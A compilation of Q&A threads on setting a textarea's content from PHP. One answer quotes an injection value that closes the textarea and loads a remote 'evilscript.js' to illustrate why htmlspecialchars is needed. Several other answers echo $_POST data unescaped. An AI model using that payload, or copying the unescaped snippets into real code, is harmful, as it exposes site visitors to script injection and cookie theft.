getting a value into my textarea - php

I'm using the following to set the value of a text area..
<?php
$description=$myrow["description"];
?>
<textarea name="description" value="<?php echo htmlspecialchars($description); ?>" readonly></textarea>
but it doesn’t appear to be working. The value of message is not null. Does anyone have any idea why it's not filling the value?

<textarea> does not have value attribute like <input type="text" value="InputValue"/>
Reference
From W3.org
Do like this:
<textarea name="description" readonly><?php echo htmlspecialchars($description); ?></textarea>

You need to put textarea value like this:
<?php
$description=$myrow["description"];
?>
<textarea name="description" readonly><?php echo htmlspecialchars($description); ?></textarea> <!--passing the value between opening and closing textarea tags.-->

Try This
<?php
$description=$myrow["description"];
?>
<textarea name="description" readonly><?php echo htmlspecialchars($description); ?></textarea>

try this:
<textarea name="description"><?php echo htmlspecialchars($description); ?></textarea>
textarea value not defined using value property like value ="value" you need to do like <textarea> value </textarea>

Related

Setting Value of Text Area

I m trying to set the value of a text area but it is not working correctly. I have verified that $bio has a value by echoing it in the beginning of my php file. However, no text is displayed when trying to set the value of the text area. Does anyone know why?
Code for Text Area:
<form class="login" action="updatebio.php" form method="post">
<h3>Bio: </h3>
<textarea rows="12" cols="76" name="Bio" input id = "Bio" placeholder="Bio:" value="<?php echo $bio; ?>" class = "textbox" > </textarea>
<input value="Update Bio" type="submit">
</form>
Put the value inside the tag
<form class="login" action="updatebio.php" form method="post">
<h3>Bio: </h3>
<textarea rows="12" cols="76" name="Bio" input id = "Bio" placeholder="Bio:" class = "textbox" ><?php echo $bio; ?> </textarea>
<input value="Update Bio" type="submit">
</form>
Textarea does not work like a normal input box. The content between textarea is the content that will be in the box.
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea
text area does not take a value attribute. you have to place the value between the textarea tags
<textarea
rows="12"
cols="76"
name="Bio"
input
id = "Bio"
placeholder="Bio:"
class = "textbox">
<?php echo $bio; ?>
</textarea>
Textareas do not use "value". Put the data between the opening and closing tags.
<textarea><?php echo $bio; ?></textarea>

Echo var from PHP into textarea control

Desired outcome: define string var in PHP and echo it into textarea control as contents.
Problem: Textarea only contains:
</body>
</html>
INDEX.PHP:
<?php
$y = "Bonkers";
?>
<html>
<body>
Here is a textarea control:<br />
<textarea id='myText' rows="30" cols="120" value='<?php echo $y; ?>' />
</body>
</html>
The textarea element doesn't have a value attribute. This is how you should do it:
<textarea id='myText' rows="30" cols="120"><?php echo $y; ?></textarea>
<textarea> doesn't have an HTML value attribute. Therefore, the correct way to set text within a textarea is as follows:
<textarea id="myText" rows="30" cols="120"><?php echo $y; ?></textarea>
You can access it within JavaScript or jQuery, however, as you would a normal input field.
// jQuery example
$("textarea#myText").val();
The reason why your textarea contains the ending body and html tags is due to how <textarea> is closed; it's only meant to be used as <textarea></textarea>, not <textarea />. (Reference)
Do You Know !! You can echo something in textarea by using placeholder attribute also. Code is as follow.
<textarea placeholder="<?php echo $_SESSION['your_name']; ?>"></textarea>

Display PHP query result in textarea

I'm having a little problem over here, I'm trying to make a news system with an edit button, it's all going great but I'm having problems with the "textarea", I can display the results on inputs but when I try to display them in a textarea it wont, look:
This code works perfectly:
<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140" value="<?php echo $not_Resumen?>"/>
This wont:
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" value="<?php echo $not_Contenido ?>">
</textarea>
I tried with $not_Resumen and other ones in the textarea and it doesn't work, the textarea would show up empty without the text, it should be a little mistake I'm making but I can't find it. Thanks.
Just put it within ><, there's no value attribute:
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>
You should also use htmlspecialchars so that the textarea will not break if $not_Contenido contains </textarea>.
This is sometimes overlooked, but if $not_Contenido contained something like:
</textarea><script src="http://remotedomain.com/evilscript.js"></script>
An attacker can run anything they want, and all your clients will download and run the script on your website. A common attack would be sending cookies to their domain.
Try like
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
<?php echo $not_Contenido; ?>
</textarea>
We con't give value to the textbox.
Value is not attribute of textarea so simply place between the tag <textarea>?</textarea>
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>
Place your value between opening and closing tags of textarea as like other HTML tags and textarea has no attribute "value"
<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

How to keep text inserted in a html <textarea> after a wrong submission?

Suppose I have a form like this:
<form action="page.php" method="post">
Section1: <input name="section1" type="text"></br>
Section2: <input name="section2" type="text"></br>
Text:</br>
<textarea name="post_text" cols="100" rows="20"></textarea>
<input name="submit" type="submit" value="Submit">
</form>
Usually if I wish to save content inserted in a field of the form I would use this statement:
Section1: <input name="section1" type="text" vale="value="<?php echo $_POST['section1']; ?>""></br>
This way if I make a mistake in submission (error control code is not posted) the values inserted will be kept, and there is no need to reinsert them.
However using it in the textarea tag it will not produce the desired result.
Any ideas on how to do?
Thanks in advance!
Don't forget about htmlspecialchars(). This should help: https://developer.mozilla.org/en/HTML/Element/textarea
<textarea name="post_text" cols="100" rows="20"><?php echo htmlspecialchars($_POST['post_text']);?></textarea>
You could use the same approach, but put the echo between the opening and closing <textarea></textarea> tags, as the textarea doesn't have a 'value' (as such) it has textual content:
<textarea name="post_text" cols="100" rows="20"><?php echo $_POST['textareaContent']; ?></textarea>
Use the $_POST variable like this.
<textarea name="post_text" cols="100" rows="20"><?= isset($_POST['post_text'])?$_POST['post_text']:'' ?></textarea>
the inline conditional checks if the $_POST['post_text'] is set to remove the NOTICE warning
You would put it inside the <textarea> element like so:
<textarea name="post_text" cols="100" rows="20"><?php echo $_POST['post_text']; ?></textarea>
However, calling the $_POST element directly is not best practice. You should rather do something like this:
<textarea name="post_text" cols="100" rows="20">
<?php echo $var = isset($_POST['post_text']) ? $_POST['post_text'] : ''; ?>
</textarea>
This stops an E_NOTICE error from being reported upon the first page-load.

Setting value of a HTML form textarea?

I'm using the following to set the value of a text area..
<?php
$message = $_REQUEST['message'];
?>
<br/><b>Description</b><br/>
<TEXTAREA NAME="message" COLS=40 ROWS=6 value="<?=$message;?>"></TEXTAREA><br/><br/>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
but it doesn’t appear to be working. The value of message is not null. Does anyone have any idea why it's not filling the value?
Textarea has no value. You need to insert your message between the opening and closing tags.
<textarea><?php echo htmlspecialchars($message); ?></textarea>
<textarea name="message" cols="40" rows="6"><?=$message?></textarea>
Note: Make sure $message is properly sanitized and that short_open_tag is enabled. Otherwise, #fabric's accepted answer is a better answer.
Also you can use this method...
`<textarea rows="12" id="mytextarea"><?php echo $bio; ?> </textarea>
<script>
document.getElementById(`mytextarea`).innerHTML="Include the text you want to display";
</script>`

Categories